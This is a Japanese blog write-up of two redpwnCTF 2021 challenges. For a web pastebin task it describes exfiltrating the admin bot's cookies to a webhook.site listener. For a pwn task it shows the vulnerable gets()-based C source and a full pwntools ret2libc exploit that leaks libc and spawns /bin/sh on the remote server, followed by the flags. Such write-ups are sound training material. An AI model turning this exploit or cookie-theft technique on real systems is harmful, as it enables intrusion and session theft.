green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://2021.redpwn.net/

1146点を獲得し、最終順位は317位でした。

redpwnctf_2021_score.png

解いたチャレンジ

redpwnctf_2021_solves1.png



最近たまに見るこの rCTF という Platform は redpwn CTF team が作ったものみたいですね。



自分の過去のブログを見たときに、RedpwnCTF 2019 の Writeup は書いてたけど RedpwnCTF 2020 の Writeup が無かったので、去年はイベントを見逃したのかな?と思ったら、パソコン上にメモは残っていたのでいちおう参加はしてたみたいです。簡単なのしか解いていなかったからブログを書かなかったのかな。

そして、今年も簡単なのしか解いていないですが、とりあえず少しだけ記録として残しておきます。





[Web]: pastebin-1 (about 100 points)


Challenge

Ah, the classic pastebin. Can you get the admin’s cookies?

pastebin-1.mc.ax (pastebinへのリンク)

Admin bot (admin botへのリンク)

Attachment:

  • main.rs

Solution

https://webhook.site/ を使って解きました。

  1. webhook.site で待受けを開始してアドレスを取得。

  2. 以下をPastebinのところにPost。
    redpwnctf_2021_pastebin1.png

  3. admin-botから、以下 (PastebinにPostしたときに得られるアドレス) へアクセス。
    redpwnctf_2021_pastebin2.png

  4. webhook.site で受信したデータを確認。
    redpwnctf_2021_pastebin3.png


Flag: flag{d1dn7_n33d_70_b3_1n_ru57}





[Pwn]: ret2the-unknown (about 100 points)


Challenge

hey, my company sponsored map doesn’t show any location named “libc”!

nc mc.ax 31568

Attachment:

  • libc-2.28.so
  • ld-2.28.so
  • ret2the-unknown (ELF 64bit)
  • ret2the-unknown.c

ret2the-unknown.c の中身:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>

int main(void)
{
  char your_reassuring_and_comforting_we_will_arrive_safely_in_libc[32];

  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  setbuf(stderr, NULL);

  puts("that board meeting was a *smashing* success! rob loved the challenge!");
  puts("in fact, he loved it so much he sponsored me a business trip to this place called 'libc'...");
  puts("where is this place? can you help me get there safely?");

  // please i cant afford the medical bills if we crash and segfault
  gets(your_reassuring_and_comforting_we_will_arrive_safely_in_libc);

  puts("phew, good to know. shoot! i forgot!");
  printf("rob said i'd need this to get there: %llx\n", printf);
  puts("good luck!");
}

Solution

以下、checksecの出力結果です。

$ checksec ret2the-unknown
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

以下、ほとんど今までのコードの使いまわしです。。。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'critical'

elf = ELF('./ret2the-unknown')
context.binary = elf

s = remote('mc.ax', 31568)

bufsize = 32 + 8
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.main()
print(rop.dump())
s.sendlineafter("safely?\n", b'A'*bufsize + rop.chain())
s.recvuntil('luck!\n')
puts = u64(s.recvline().rstrip().ljust(8, b"\x00"))
print('puts: %x' % puts)
libc = ELF('./libc-2.28.so')
libc.address = puts - libc.symbols.puts

rop = ROP(libc)
rop.execv(next(libc.search(b'/bin/sh')), 0)
print(rop.dump())
s.sendlineafter("safely?\n", b'A'*bufsize + rop.chain())
s.recvuntil('luck!\n')
s.interactive()	


Flag: flag{rob-is-proud-of-me-for-exploring-the-unknown-but-i-still-cant-afford-housing}